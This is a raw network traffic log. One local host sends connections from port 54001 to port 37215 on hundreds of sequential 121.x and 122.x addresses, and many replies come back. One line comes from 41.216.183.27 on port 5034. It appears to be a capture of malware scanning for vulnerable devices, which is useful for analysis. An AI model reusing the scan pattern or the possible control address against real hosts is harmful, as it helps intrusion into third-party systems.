Feb 19, 2024 18:35:36.420475960 CET	54001	37215	192.168.2.23	121.166.117.212
Feb 19, 2024 18:35:36.420478106 CET	54001	37215	192.168.2.23	121.223.185.227
Feb 19, 2024 18:35:36.420500040 CET	54001	37215	192.168.2.23	121.94.238.126
Feb 19, 2024 18:35:36.420500040 CET	54001	37215	192.168.2.23	121.175.30.235
Feb 19, 2024 18:35:36.420522928 CET	54001	37215	192.168.2.23	121.91.132.109
Feb 19, 2024 18:35:36.420523882 CET	54001	37215	192.168.2.23	121.167.66.177
Feb 19, 2024 18:35:36.420530081 CET	54001	37215	192.168.2.23	121.16.233.250
Feb 19, 2024 18:35:36.420547962 CET	54001	37215	192.168.2.23	121.65.250.190
Feb 19, 2024 18:35:36.420551062 CET	54001	37215	192.168.2.23	121.151.243.81
Feb 19, 2024 18:35:36.420569897 CET	54001	37215	192.168.2.23	121.80.252.167
Feb 19, 2024 18:35:36.420578957 CET	54001	37215	192.168.2.23	121.67.37.244
Feb 19, 2024 18:35:36.420603991 CET	54001	37215	192.168.2.23	121.233.211.182
Feb 19, 2024 18:35:36.420604944 CET	54001	37215	192.168.2.23	121.103.243.95
Feb 19, 2024 18:35:36.420630932 CET	54001	37215	192.168.2.23	121.220.226.218
Feb 19, 2024 18:35:36.420639992 CET	54001	37215	192.168.2.23	121.53.244.112
Feb 19, 2024 18:35:36.420659065 CET	54001	37215	192.168.2.23	121.251.222.7
Feb 19, 2024 18:35:36.420659065 CET	54001	37215	192.168.2.23	121.138.152.217
Feb 19, 2024 18:35:36.420676947 CET	54001	37215	192.168.2.23	121.54.198.156
Feb 19, 2024 18:35:36.420686960 CET	54001	37215	192.168.2.23	121.126.81.59
Feb 19, 2024 18:35:36.420720100 CET	54001	37215	192.168.2.23	121.100.162.144
Feb 19, 2024 18:35:36.420720100 CET	54001	37215	192.168.2.23	121.31.114.45
Feb 19, 2024 18:35:36.420749903 CET	54001	37215	192.168.2.23	121.115.235.69
Feb 19, 2024 18:35:36.420749903 CET	54001	37215	192.168.2.23	121.64.226.115
Feb 19, 2024 18:35:36.420777082 CET	54001	37215	192.168.2.23	121.133.229.216
Feb 19, 2024 18:35:36.420789957 CET	54001	37215	192.168.2.23	121.121.3.235
Feb 19, 2024 18:35:36.420800924 CET	54001	37215	192.168.2.23	121.174.151.172
Feb 19, 2024 18:35:36.420816898 CET	54001	37215	192.168.2.23	121.208.250.193
Feb 19, 2024 18:35:36.420820951 CET	54001	37215	192.168.2.23	121.23.225.219
Feb 19, 2024 18:35:36.420840025 CET	54001	37215	192.168.2.23	121.17.149.210
Feb 19, 2024 18:35:36.420869112 CET	54001	37215	192.168.2.23	121.107.3.10
Feb 19, 2024 18:35:36.420881987 CET	54001	37215	192.168.2.23	121.207.89.135
Feb 19, 2024 18:35:36.420892954 CET	54001	37215	192.168.2.23	121.104.172.245
Feb 19, 2024 18:35:36.420905113 CET	54001	37215	192.168.2.23	121.93.135.114
Feb 19, 2024 18:35:36.420913935 CET	54001	37215	192.168.2.23	121.152.103.178
Feb 19, 2024 18:35:36.420933008 CET	54001	37215	192.168.2.23	121.33.138.232
Feb 19, 2024 18:35:36.420933008 CET	54001	37215	192.168.2.23	121.91.225.232
Feb 19, 2024 18:35:36.420950890 CET	54001	37215	192.168.2.23	121.113.68.131
Feb 19, 2024 18:35:36.420958996 CET	54001	37215	192.168.2.23	121.210.240.107
Feb 19, 2024 18:35:36.420979977 CET	54001	37215	192.168.2.23	121.59.76.50
Feb 19, 2024 18:35:36.421005011 CET	54001	37215	192.168.2.23	121.252.245.21
Feb 19, 2024 18:35:36.421005011 CET	54001	37215	192.168.2.23	121.195.229.239
Feb 19, 2024 18:35:36.421030998 CET	54001	37215	192.168.2.23	121.55.234.3
Feb 19, 2024 18:35:36.421050072 CET	54001	37215	192.168.2.23	121.112.6.125
Feb 19, 2024 18:35:36.421050072 CET	54001	37215	192.168.2.23	121.158.72.224
Feb 19, 2024 18:35:36.421061993 CET	54001	37215	192.168.2.23	121.98.32.212
Feb 19, 2024 18:35:36.421086073 CET	54001	37215	192.168.2.23	121.87.252.203
Feb 19, 2024 18:35:36.421088934 CET	54001	37215	192.168.2.23	121.38.66.185
Feb 19, 2024 18:35:36.421104908 CET	54001	37215	192.168.2.23	121.118.0.221
Feb 19, 2024 18:35:36.421116114 CET	54001	37215	192.168.2.23	121.162.247.25
Feb 19, 2024 18:35:36.421128988 CET	54001	37215	192.168.2.23	121.110.245.89
Feb 19, 2024 18:35:36.421143055 CET	54001	37215	192.168.2.23	121.225.5.39
Feb 19, 2024 18:35:36.421164036 CET	54001	37215	192.168.2.23	121.207.119.142
Feb 19, 2024 18:35:36.421169996 CET	54001	37215	192.168.2.23	121.39.100.38
Feb 19, 2024 18:35:36.421185017 CET	54001	37215	192.168.2.23	121.211.249.84
Feb 19, 2024 18:35:36.421214104 CET	54001	37215	192.168.2.23	121.16.146.121
Feb 19, 2024 18:35:36.421214104 CET	54001	37215	192.168.2.23	121.54.193.178
Feb 19, 2024 18:35:36.421225071 CET	54001	37215	192.168.2.23	121.74.161.108
Feb 19, 2024 18:35:36.421241045 CET	54001	37215	192.168.2.23	121.44.35.0
Feb 19, 2024 18:35:36.421252966 CET	54001	37215	192.168.2.23	121.137.60.58
Feb 19, 2024 18:35:36.421268940 CET	54001	37215	192.168.2.23	121.194.157.198
Feb 19, 2024 18:35:36.421284914 CET	54001	37215	192.168.2.23	121.172.87.42
Feb 19, 2024 18:35:36.421298981 CET	54001	37215	192.168.2.23	121.179.33.203
Feb 19, 2024 18:35:36.421319962 CET	54001	37215	192.168.2.23	121.67.90.80
Feb 19, 2024 18:35:36.421319962 CET	54001	37215	192.168.2.23	121.176.160.66
Feb 19, 2024 18:35:36.421341896 CET	54001	37215	192.168.2.23	121.59.9.249
Feb 19, 2024 18:35:36.421359062 CET	54001	37215	192.168.2.23	121.142.234.98
Feb 19, 2024 18:35:36.421360970 CET	54001	37215	192.168.2.23	121.198.153.193
Feb 19, 2024 18:35:36.421380997 CET	54001	37215	192.168.2.23	121.35.181.38
Feb 19, 2024 18:35:36.421400070 CET	54001	37215	192.168.2.23	121.91.40.178
Feb 19, 2024 18:35:36.421400070 CET	54001	37215	192.168.2.23	121.200.37.176
Feb 19, 2024 18:35:36.421413898 CET	54001	37215	192.168.2.23	121.129.255.195
Feb 19, 2024 18:35:36.421427011 CET	54001	37215	192.168.2.23	121.119.136.83
Feb 19, 2024 18:35:36.421438932 CET	54001	37215	192.168.2.23	121.166.20.138
Feb 19, 2024 18:35:36.421452045 CET	54001	37215	192.168.2.23	121.103.207.222
Feb 19, 2024 18:35:36.421468019 CET	54001	37215	192.168.2.23	121.43.250.157
Feb 19, 2024 18:35:36.421485901 CET	54001	37215	192.168.2.23	121.206.189.167
Feb 19, 2024 18:35:36.421493053 CET	54001	37215	192.168.2.23	121.12.98.233
Feb 19, 2024 18:35:36.421500921 CET	54001	37215	192.168.2.23	121.171.128.227
Feb 19, 2024 18:35:36.421529055 CET	54001	37215	192.168.2.23	121.230.186.193
Feb 19, 2024 18:35:36.421530962 CET	54001	37215	192.168.2.23	121.167.163.174
Feb 19, 2024 18:35:36.421545029 CET	54001	37215	192.168.2.23	121.19.49.167
Feb 19, 2024 18:35:36.421562910 CET	54001	37215	192.168.2.23	121.89.143.189
Feb 19, 2024 18:35:36.421583891 CET	54001	37215	192.168.2.23	121.196.112.102
Feb 19, 2024 18:35:36.421583891 CET	54001	37215	192.168.2.23	121.157.65.173
Feb 19, 2024 18:35:36.421616077 CET	54001	37215	192.168.2.23	121.96.155.89
Feb 19, 2024 18:35:36.421621084 CET	54001	37215	192.168.2.23	121.58.93.21
Feb 19, 2024 18:35:36.421633959 CET	54001	37215	192.168.2.23	121.101.4.148
Feb 19, 2024 18:35:36.421633959 CET	54001	37215	192.168.2.23	121.57.233.253
Feb 19, 2024 18:35:36.421653986 CET	54001	37215	192.168.2.23	121.254.182.130
Feb 19, 2024 18:35:36.421674013 CET	54001	37215	192.168.2.23	121.96.6.247
Feb 19, 2024 18:35:36.421679020 CET	54001	37215	192.168.2.23	121.93.193.173
Feb 19, 2024 18:35:36.421690941 CET	54001	37215	192.168.2.23	121.24.202.176
Feb 19, 2024 18:35:36.421710014 CET	54001	37215	192.168.2.23	121.244.206.50
Feb 19, 2024 18:35:36.421725988 CET	54001	37215	192.168.2.23	121.57.28.203
Feb 19, 2024 18:35:36.421746969 CET	54001	37215	192.168.2.23	121.111.177.44
Feb 19, 2024 18:35:36.421753883 CET	54001	37215	192.168.2.23	121.62.16.168
Feb 19, 2024 18:35:36.421761036 CET	54001	37215	192.168.2.23	121.20.156.182
Feb 19, 2024 18:35:36.421785116 CET	54001	37215	192.168.2.23	121.215.20.126
Feb 19, 2024 18:35:36.421803951 CET	54001	37215	192.168.2.23	121.180.74.191
Feb 19, 2024 18:35:36.421813011 CET	54001	37215	192.168.2.23	121.113.134.245
Feb 19, 2024 18:35:36.421827078 CET	54001	37215	192.168.2.23	121.6.194.238
Feb 19, 2024 18:35:36.421828985 CET	54001	37215	192.168.2.23	121.159.97.153
Feb 19, 2024 18:35:36.421843052 CET	54001	37215	192.168.2.23	121.1.227.125
Feb 19, 2024 18:35:36.421854973 CET	54001	37215	192.168.2.23	121.69.177.202
Feb 19, 2024 18:35:36.421875954 CET	54001	37215	192.168.2.23	121.4.188.82
Feb 19, 2024 18:35:36.421895981 CET	54001	37215	192.168.2.23	121.0.238.159
Feb 19, 2024 18:35:36.421900988 CET	54001	37215	192.168.2.23	121.5.21.161
Feb 19, 2024 18:35:36.421909094 CET	54001	37215	192.168.2.23	121.1.63.28
Feb 19, 2024 18:35:36.421931982 CET	54001	37215	192.168.2.23	121.122.132.199
Feb 19, 2024 18:35:36.421938896 CET	54001	37215	192.168.2.23	121.7.102.16
Feb 19, 2024 18:35:36.421947956 CET	54001	37215	192.168.2.23	121.157.116.168
Feb 19, 2024 18:35:36.421963930 CET	54001	37215	192.168.2.23	121.183.158.243
Feb 19, 2024 18:35:36.421981096 CET	54001	37215	192.168.2.23	121.25.52.141
Feb 19, 2024 18:35:36.422008991 CET	54001	37215	192.168.2.23	121.166.146.216
Feb 19, 2024 18:35:36.422018051 CET	54001	37215	192.168.2.23	121.217.167.216
Feb 19, 2024 18:35:36.422029972 CET	54001	37215	192.168.2.23	121.140.201.77
Feb 19, 2024 18:35:36.422035933 CET	54001	37215	192.168.2.23	121.254.131.92
Feb 19, 2024 18:35:36.422044992 CET	54001	37215	192.168.2.23	121.154.138.162
Feb 19, 2024 18:35:36.422077894 CET	54001	37215	192.168.2.23	121.116.245.161
Feb 19, 2024 18:35:36.422087908 CET	54001	37215	192.168.2.23	121.96.37.24
Feb 19, 2024 18:35:36.422087908 CET	54001	37215	192.168.2.23	121.90.129.70
Feb 19, 2024 18:35:36.422101974 CET	54001	37215	192.168.2.23	121.186.87.225
Feb 19, 2024 18:35:36.422116995 CET	54001	37215	192.168.2.23	121.202.188.61
Feb 19, 2024 18:35:36.422125101 CET	54001	37215	192.168.2.23	121.60.82.161
Feb 19, 2024 18:35:36.422152042 CET	54001	37215	192.168.2.23	121.204.142.155
Feb 19, 2024 18:35:36.422164917 CET	54001	37215	192.168.2.23	121.103.242.221
Feb 19, 2024 18:35:36.422168970 CET	54001	37215	192.168.2.23	121.113.0.4
Feb 19, 2024 18:35:36.422174931 CET	54001	37215	192.168.2.23	121.108.78.192
Feb 19, 2024 18:35:36.422194004 CET	54001	37215	192.168.2.23	121.213.104.139
Feb 19, 2024 18:35:36.422214985 CET	54001	37215	192.168.2.23	121.193.100.84
Feb 19, 2024 18:35:36.422216892 CET	54001	37215	192.168.2.23	121.145.229.52
Feb 19, 2024 18:35:36.422231913 CET	54001	37215	192.168.2.23	121.56.85.110
Feb 19, 2024 18:35:36.422249079 CET	54001	37215	192.168.2.23	121.6.106.242
Feb 19, 2024 18:35:36.422260046 CET	54001	37215	192.168.2.23	121.143.193.118
Feb 19, 2024 18:35:36.422275066 CET	54001	37215	192.168.2.23	121.162.77.228
Feb 19, 2024 18:35:36.422286034 CET	54001	37215	192.168.2.23	121.204.85.188
Feb 19, 2024 18:35:36.422301054 CET	54001	37215	192.168.2.23	121.93.107.218
Feb 19, 2024 18:35:36.422316074 CET	54001	37215	192.168.2.23	121.29.185.128
Feb 19, 2024 18:35:36.422328949 CET	54001	37215	192.168.2.23	121.35.237.162
Feb 19, 2024 18:35:36.422343969 CET	54001	37215	192.168.2.23	121.73.187.129
Feb 19, 2024 18:35:36.422359943 CET	54001	37215	192.168.2.23	121.76.182.25
Feb 19, 2024 18:35:36.422379971 CET	54001	37215	192.168.2.23	121.237.68.140
Feb 19, 2024 18:35:36.422386885 CET	54001	37215	192.168.2.23	121.245.36.186
Feb 19, 2024 18:35:36.422415018 CET	54001	37215	192.168.2.23	121.64.46.232
Feb 19, 2024 18:35:36.422430992 CET	54001	37215	192.168.2.23	121.67.240.92
Feb 19, 2024 18:35:36.422441959 CET	54001	37215	192.168.2.23	121.15.141.91
Feb 19, 2024 18:35:36.422451019 CET	54001	37215	192.168.2.23	121.87.192.254
Feb 19, 2024 18:35:36.422460079 CET	54001	37215	192.168.2.23	121.66.151.168
Feb 19, 2024 18:35:36.422476053 CET	54001	37215	192.168.2.23	121.55.62.239
Feb 19, 2024 18:35:36.422481060 CET	54001	37215	192.168.2.23	121.39.217.141
Feb 19, 2024 18:35:36.422502995 CET	54001	37215	192.168.2.23	121.170.151.172
Feb 19, 2024 18:35:36.422511101 CET	54001	37215	192.168.2.23	121.212.197.82
Feb 19, 2024 18:35:36.422521114 CET	54001	37215	192.168.2.23	121.94.189.174
Feb 19, 2024 18:35:36.512105942 CET	37215	54001	121.127.48.116	192.168.2.23
Feb 19, 2024 18:35:36.549499989 CET	5034	44146	41.216.183.27	192.168.2.23
Feb 19, 2024 18:35:36.653989077 CET	37215	54001	121.183.141.34	192.168.2.23
Feb 19, 2024 18:35:36.655735970 CET	37215	54001	121.149.92.120	192.168.2.23
Feb 19, 2024 18:35:36.657546997 CET	37215	54001	121.145.135.247	192.168.2.23
Feb 19, 2024 18:35:36.660991907 CET	37215	54001	121.148.183.19	192.168.2.23
Feb 19, 2024 18:35:36.663701057 CET	37215	54001	121.179.158.170	192.168.2.23
Feb 19, 2024 18:35:36.665676117 CET	37215	54001	121.131.174.16	192.168.2.23
Feb 19, 2024 18:35:36.666202068 CET	37215	54001	121.161.243.175	192.168.2.23
Feb 19, 2024 18:35:36.666266918 CET	37215	54001	121.125.239.140	192.168.2.23
Feb 19, 2024 18:35:36.666820049 CET	37215	54001	121.86.88.226	192.168.2.23
Feb 19, 2024 18:35:36.714102983 CET	37215	54001	121.144.207.152	192.168.2.23
Feb 19, 2024 18:35:36.714123011 CET	37215	54001	121.179.53.139	192.168.2.23
Feb 19, 2024 18:35:36.714185953 CET	37215	54001	121.145.99.170	192.168.2.23
Feb 19, 2024 18:35:36.714252949 CET	37215	54001	121.131.40.180	192.168.2.23
Feb 19, 2024 18:35:36.714302063 CET	37215	54001	121.138.172.71	192.168.2.23
Feb 19, 2024 18:35:36.714348078 CET	37215	54001	121.150.193.131	192.168.2.23
Feb 19, 2024 18:35:36.714363098 CET	37215	54001	121.190.121.175	192.168.2.23
Feb 19, 2024 18:35:36.714376926 CET	37215	54001	121.185.234.17	192.168.2.23
Feb 19, 2024 18:35:36.714391947 CET	37215	54001	121.165.131.222	192.168.2.23
Feb 19, 2024 18:35:36.714442968 CET	37215	54001	121.170.63.219	192.168.2.23
Feb 19, 2024 18:35:36.714457035 CET	37215	54001	121.130.190.104	192.168.2.23
Feb 19, 2024 18:35:36.714469910 CET	37215	54001	121.158.231.38	192.168.2.23
Feb 19, 2024 18:35:36.714484930 CET	37215	54001	121.171.125.148	192.168.2.23
Feb 19, 2024 18:35:36.714504957 CET	37215	54001	121.129.96.123	192.168.2.23
Feb 19, 2024 18:35:36.714648008 CET	37215	54001	121.128.162.44	192.168.2.23
Feb 19, 2024 18:35:36.714668989 CET	37215	54001	121.132.48.164	192.168.2.23
Feb 19, 2024 18:35:36.714732885 CET	37215	54001	121.157.70.162	192.168.2.23
Feb 19, 2024 18:35:36.714771032 CET	37215	54001	121.136.80.10	192.168.2.23
Feb 19, 2024 18:35:36.714783907 CET	37215	54001	121.176.137.30	192.168.2.23
Feb 19, 2024 18:35:36.714798927 CET	37215	54001	121.167.1.111	192.168.2.23
Feb 19, 2024 18:35:36.714843988 CET	37215	54001	121.180.67.97	192.168.2.23
Feb 19, 2024 18:35:36.714905977 CET	37215	54001	121.178.151.52	192.168.2.23
Feb 19, 2024 18:35:36.715008020 CET	37215	54001	121.156.223.96	192.168.2.23
Feb 19, 2024 18:35:36.715080976 CET	37215	54001	121.168.84.183	192.168.2.23
Feb 19, 2024 18:35:36.715092897 CET	37215	54001	121.173.232.246	192.168.2.23
Feb 19, 2024 18:35:36.715151072 CET	37215	54001	121.184.191.213	192.168.2.23
Feb 19, 2024 18:35:36.715164900 CET	37215	54001	121.145.134.158	192.168.2.23
Feb 19, 2024 18:35:36.715456009 CET	37215	54001	121.137.33.210	192.168.2.23
Feb 19, 2024 18:35:36.715507030 CET	37215	54001	121.164.179.27	192.168.2.23
Feb 19, 2024 18:35:36.715548038 CET	37215	54001	121.183.165.61	192.168.2.23
Feb 19, 2024 18:35:36.715687037 CET	37215	54001	121.133.202.89	192.168.2.23
Feb 19, 2024 18:35:36.715701103 CET	37215	54001	121.180.182.119	192.168.2.23
Feb 19, 2024 18:35:36.715713978 CET	37215	54001	121.173.69.195	192.168.2.23
Feb 19, 2024 18:35:36.715776920 CET	37215	54001	121.175.56.233	192.168.2.23
Feb 19, 2024 18:35:36.715789080 CET	37215	54001	121.152.43.85	192.168.2.23
Feb 19, 2024 18:35:36.715800047 CET	37215	54001	121.136.10.201	192.168.2.23
Feb 19, 2024 18:35:36.715815067 CET	37215	54001	121.145.138.212	192.168.2.23
Feb 19, 2024 18:35:36.715826988 CET	37215	54001	121.166.235.44	192.168.2.23
Feb 19, 2024 18:35:36.715857029 CET	37215	54001	121.187.53.85	192.168.2.23
Feb 19, 2024 18:35:36.715905905 CET	37215	54001	121.139.246.228	192.168.2.23
Feb 19, 2024 18:35:36.716065884 CET	37215	54001	121.145.165.108	192.168.2.23
Feb 19, 2024 18:35:36.716089010 CET	37215	54001	121.177.2.155	192.168.2.23
Feb 19, 2024 18:35:36.716101885 CET	37215	54001	121.138.244.36	192.168.2.23
Feb 19, 2024 18:35:36.716269016 CET	37215	54001	121.153.171.187	192.168.2.23
Feb 19, 2024 18:35:36.716283083 CET	37215	54001	121.133.190.154	192.168.2.23
Feb 19, 2024 18:35:36.716310978 CET	37215	54001	121.136.103.65	192.168.2.23
Feb 19, 2024 18:35:36.716342926 CET	37215	54001	121.184.238.92	192.168.2.23
Feb 19, 2024 18:35:36.716392994 CET	37215	54001	121.160.13.142	192.168.2.23
Feb 19, 2024 18:35:36.716464043 CET	37215	54001	121.178.233.79	192.168.2.23
Feb 19, 2024 18:35:36.716476917 CET	37215	54001	121.167.205.199	192.168.2.23
Feb 19, 2024 18:35:36.716487885 CET	37215	54001	121.133.185.53	192.168.2.23
Feb 19, 2024 18:35:36.716522932 CET	37215	54001	121.133.92.201	192.168.2.23
Feb 19, 2024 18:35:36.716562033 CET	37215	54001	121.165.16.1	192.168.2.23
Feb 19, 2024 18:35:36.716577053 CET	37215	54001	121.166.20.138	192.168.2.23
Feb 19, 2024 18:35:36.716608047 CET	37215	54001	121.136.180.189	192.168.2.23
Feb 19, 2024 18:35:36.716620922 CET	37215	54001	121.153.107.21	192.168.2.23
Feb 19, 2024 18:35:36.716654062 CET	37215	54001	121.124.209.102	192.168.2.23
Feb 19, 2024 18:35:36.716667891 CET	37215	54001	121.103.207.222	192.168.2.23
Feb 19, 2024 18:35:36.716681004 CET	37215	54001	121.102.64.222	192.168.2.23
Feb 19, 2024 18:35:36.716790915 CET	37215	54001	121.139.9.172	192.168.2.23
Feb 19, 2024 18:35:36.717116117 CET	37215	54001	121.190.62.17	192.168.2.23
Feb 19, 2024 18:35:36.717350006 CET	37215	54001	121.129.255.195	192.168.2.23
Feb 19, 2024 18:35:36.717389107 CET	37215	54001	121.174.151.172	192.168.2.23
Feb 19, 2024 18:35:36.717401981 CET	37215	54001	121.139.117.48	192.168.2.23
Feb 19, 2024 18:35:36.717716932 CET	37215	54001	121.155.189.254	192.168.2.23
Feb 19, 2024 18:35:36.717777014 CET	37215	54001	121.173.22.235	192.168.2.23
Feb 19, 2024 18:35:36.717834949 CET	37215	54001	121.66.29.1	192.168.2.23
Feb 19, 2024 18:35:36.723189116 CET	37215	54001	121.20.59.152	192.168.2.23
Feb 19, 2024 18:35:36.723783016 CET	37215	54001	121.88.81.75	192.168.2.23
Feb 19, 2024 18:35:36.737756968 CET	37215	54001	121.34.120.250	192.168.2.23
Feb 19, 2024 18:35:36.740731001 CET	37215	54001	121.11.115.2	192.168.2.23
Feb 19, 2024 18:35:36.747577906 CET	37215	54001	121.228.79.25	192.168.2.23
Feb 19, 2024 18:35:36.747618914 CET	37215	54001	121.21.235.129	192.168.2.23
Feb 19, 2024 18:35:36.749341011 CET	37215	54001	121.101.130.156	192.168.2.23
Feb 19, 2024 18:35:36.749748945 CET	37215	54001	121.233.210.124	192.168.2.23
Feb 19, 2024 18:35:36.750344038 CET	37215	54001	121.224.243.253	192.168.2.23
Feb 19, 2024 18:35:36.754367113 CET	37215	54001	121.16.233.137	192.168.2.23
Feb 19, 2024 18:35:36.761250973 CET	37215	54001	121.230.211.20	192.168.2.23
Feb 19, 2024 18:35:36.763194084 CET	37215	54001	121.224.217.118	192.168.2.23
Feb 19, 2024 18:35:36.773186922 CET	37215	54001	121.5.144.5	192.168.2.23
Feb 19, 2024 18:35:36.773771048 CET	37215	54001	121.226.119.23	192.168.2.23
Feb 19, 2024 18:35:36.777694941 CET	37215	54001	121.61.163.204	192.168.2.23
Feb 19, 2024 18:35:36.780070066 CET	37215	54001	121.238.203.241	192.168.2.23
Feb 19, 2024 18:35:36.784014940 CET	37215	54001	121.192.3.227	192.168.2.23
Feb 19, 2024 18:35:36.784049034 CET	37215	54001	121.233.211.182	192.168.2.23
Feb 19, 2024 18:35:36.785691023 CET	37215	54001	121.78.77.185	192.168.2.23
Feb 19, 2024 18:35:36.786062956 CET	37215	54001	121.199.37.193	192.168.2.23
Feb 19, 2024 18:35:36.787760973 CET	37215	54001	121.31.87.73	192.168.2.23
Feb 19, 2024 18:35:36.793050051 CET	37215	54001	121.8.100.217	192.168.2.23
Feb 19, 2024 18:35:36.793085098 CET	37215	54001	121.48.190.208	192.168.2.23
Feb 19, 2024 18:35:36.794411898 CET	37215	54001	121.239.16.14	192.168.2.23
Feb 19, 2024 18:35:36.795960903 CET	37215	54001	121.204.142.155	192.168.2.23
Feb 19, 2024 18:35:36.799019098 CET	37215	54001	121.225.66.36	192.168.2.23
Feb 19, 2024 18:35:36.799313068 CET	37215	54001	121.230.186.193	192.168.2.23
Feb 19, 2024 18:35:36.800255060 CET	37215	54001	121.235.73.151	192.168.2.23
Feb 19, 2024 18:35:36.801037073 CET	37215	54001	121.57.233.253	192.168.2.23
Feb 19, 2024 18:35:36.802187920 CET	37215	54001	121.237.17.177	192.168.2.23
Feb 19, 2024 18:35:36.810874939 CET	37215	54001	121.204.145.207	192.168.2.23
Feb 19, 2024 18:35:37.424222946 CET	54001	37215	192.168.2.23	122.96.136.240
Feb 19, 2024 18:35:37.424222946 CET	54001	37215	192.168.2.23	122.50.179.76
Feb 19, 2024 18:35:37.424247980 CET	54001	37215	192.168.2.23	122.103.85.225
Feb 19, 2024 18:35:37.424252033 CET	54001	37215	192.168.2.23	122.156.159.218
Feb 19, 2024 18:35:37.424299955 CET	54001	37215	192.168.2.23	122.239.227.128
Feb 19, 2024 18:35:37.424299955 CET	54001	37215	192.168.2.23	122.124.54.230
Feb 19, 2024 18:35:37.424371004 CET	54001	37215	192.168.2.23	122.32.17.181
Feb 19, 2024 18:35:37.424451113 CET	54001	37215	192.168.2.23	122.246.61.107
Feb 19, 2024 18:35:37.424452066 CET	54001	37215	192.168.2.23	122.250.223.24
Feb 19, 2024 18:35:37.424451113 CET	54001	37215	192.168.2.23	122.3.57.235
Feb 19, 2024 18:35:37.424484968 CET	54001	37215	192.168.2.23	122.149.43.208
Feb 19, 2024 18:35:37.424489021 CET	54001	37215	192.168.2.23	122.217.223.54
Feb 19, 2024 18:35:37.424489021 CET	54001	37215	192.168.2.23	122.24.204.63
Feb 19, 2024 18:35:37.424519062 CET	54001	37215	192.168.2.23	122.198.6.84
Feb 19, 2024 18:35:37.424519062 CET	54001	37215	192.168.2.23	122.70.133.116
Feb 19, 2024 18:35:37.424515963 CET	54001	37215	192.168.2.23	122.135.186.148
Feb 19, 2024 18:35:37.424535036 CET	54001	37215	192.168.2.23	122.123.8.218
Feb 19, 2024 18:35:37.424545050 CET	54001	37215	192.168.2.23	122.167.176.203
Feb 19, 2024 18:35:37.424551010 CET	54001	37215	192.168.2.23	122.80.238.187
Feb 19, 2024 18:35:37.424560070 CET	54001	37215	192.168.2.23	122.179.6.15
Feb 19, 2024 18:35:37.424585104 CET	54001	37215	192.168.2.23	122.247.159.240
Feb 19, 2024 18:35:37.424592018 CET	54001	37215	192.168.2.23	122.238.99.55
Feb 19, 2024 18:35:37.424592018 CET	54001	37215	192.168.2.23	122.143.226.135
Feb 19, 2024 18:35:37.424628973 CET	54001	37215	192.168.2.23	122.21.54.83
Feb 19, 2024 18:35:37.424628973 CET	54001	37215	192.168.2.23	122.211.30.23
Feb 19, 2024 18:35:37.424633980 CET	54001	37215	192.168.2.23	122.31.186.131
Feb 19, 2024 18:35:37.424639940 CET	54001	37215	192.168.2.23	122.7.186.129
Feb 19, 2024 18:35:37.424664021 CET	54001	37215	192.168.2.23	122.13.208.53
Feb 19, 2024 18:35:37.424669981 CET	54001	37215	192.168.2.23	122.190.208.202
Feb 19, 2024 18:35:37.424686909 CET	54001	37215	192.168.2.23	122.255.160.207
Feb 19, 2024 18:35:37.424688101 CET	54001	37215	192.168.2.23	122.165.34.186
Feb 19, 2024 18:35:37.424690008 CET	54001	37215	192.168.2.23	122.192.150.24
Feb 19, 2024 18:35:37.424690008 CET	54001	37215	192.168.2.23	122.100.32.97
Feb 19, 2024 18:35:37.424690008 CET	54001	37215	192.168.2.23	122.186.22.29
Feb 19, 2024 18:35:37.424719095 CET	54001	37215	192.168.2.23	122.83.185.150
Feb 19, 2024 18:35:37.424722910 CET	54001	37215	192.168.2.23	122.4.130.221
Feb 19, 2024 18:35:37.424726963 CET	54001	37215	192.168.2.23	122.32.81.41
Feb 19, 2024 18:35:37.424753904 CET	54001	37215	192.168.2.23	122.224.2.0
Feb 19, 2024 18:35:37.424762964 CET	54001	37215	192.168.2.23	122.217.172.5
Feb 19, 2024 18:35:37.424762964 CET	54001	37215	192.168.2.23	122.79.195.133
Feb 19, 2024 18:35:37.424792051 CET	54001	37215	192.168.2.23	122.123.34.196
Feb 19, 2024 18:35:37.424799919 CET	54001	37215	192.168.2.23	122.173.176.70
Feb 19, 2024 18:35:37.424804926 CET	54001	37215	192.168.2.23	122.68.34.227
Feb 19, 2024 18:35:37.424829006 CET	54001	37215	192.168.2.23	122.245.188.215
Feb 19, 2024 18:35:37.424841881 CET	54001	37215	192.168.2.23	122.35.133.115
Feb 19, 2024 18:35:37.424841881 CET	54001	37215	192.168.2.23	122.45.212.124
Feb 19, 2024 18:35:37.424848080 CET	54001	37215	192.168.2.23	122.217.137.21
Feb 19, 2024 18:35:37.424866915 CET	54001	37215	192.168.2.23	122.147.21.70
Feb 19, 2024 18:35:37.424866915 CET	54001	37215	192.168.2.23	122.253.218.171
Feb 19, 2024 18:35:37.424866915 CET	54001	37215	192.168.2.23	122.221.205.121
Feb 19, 2024 18:35:37.424885988 CET	54001	37215	192.168.2.23	122.52.33.63
Feb 19, 2024 18:35:37.424889088 CET	54001	37215	192.168.2.23	122.158.171.46
Feb 19, 2024 18:35:37.424915075 CET	54001	37215	192.168.2.23	122.67.100.230
Feb 19, 2024 18:35:37.424916029 CET	54001	37215	192.168.2.23	122.29.105.100
Feb 19, 2024 18:35:37.424923897 CET	54001	37215	192.168.2.23	122.164.136.121
Feb 19, 2024 18:35:37.424923897 CET	54001	37215	192.168.2.23	122.220.103.91
Feb 19, 2024 18:35:37.424961090 CET	54001	37215	192.168.2.23	122.6.93.124
Feb 19, 2024 18:35:37.424961090 CET	54001	37215	192.168.2.23	122.177.231.7
Feb 19, 2024 18:35:37.424994946 CET	54001	37215	192.168.2.23	122.58.55.183
Feb 19, 2024 18:35:37.425018072 CET	54001	37215	192.168.2.23	122.116.224.217
Feb 19, 2024 18:35:37.425024033 CET	54001	37215	192.168.2.23	122.200.10.190
Feb 19, 2024 18:35:37.425024033 CET	54001	37215	192.168.2.23	122.47.163.206
Feb 19, 2024 18:35:37.425024986 CET	54001	37215	192.168.2.23	122.203.247.54
Feb 19, 2024 18:35:37.425025940 CET	54001	37215	192.168.2.23	122.66.156.124
Feb 19, 2024 18:35:37.425041914 CET	54001	37215	192.168.2.23	122.189.203.24
Feb 19, 2024 18:35:37.425045013 CET	54001	37215	192.168.2.23	122.221.77.161
Feb 19, 2024 18:35:37.425059080 CET	54001	37215	192.168.2.23	122.229.253.188
Feb 19, 2024 18:35:37.425086021 CET	54001	37215	192.168.2.23	122.136.49.241
Feb 19, 2024 18:35:37.425086975 CET	54001	37215	192.168.2.23	122.24.42.143
Feb 19, 2024 18:35:37.425107002 CET	54001	37215	192.168.2.23	122.154.193.67
Feb 19, 2024 18:35:37.425108910 CET	54001	37215	192.168.2.23	122.162.64.5
